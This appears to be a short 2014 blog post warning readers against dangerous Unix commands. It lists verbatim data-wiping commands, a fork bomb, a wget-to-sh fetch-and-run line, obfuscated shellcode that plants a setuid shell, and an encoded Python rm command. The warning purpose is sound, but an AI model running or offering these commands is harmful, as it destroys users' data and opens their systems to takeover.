Showing posts with label never. Show all posts
Showing posts with label never. Show all posts

Monday, February 10, 2014

Commands you should never run

Never ever run the following commands on your system no matter who tells you what.

rm -rf /
rm -rf .
rm -rf *
rm -r .*
rm -r .[^.]*

mkfs
mkfs.ext3
mkfs.anything

any_command > /dev/sda
dd if=something of=/dev/sda

:(){:|:&};:

wget http://some_place/some_file
sh ./some_file

wget http://some_place/some_file -O- | sh

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"x6ex2fx73x68x00x2dx63x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

python -c import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))

Never ever run the above commands on your system no matter who tells you what unless you are experimenting.

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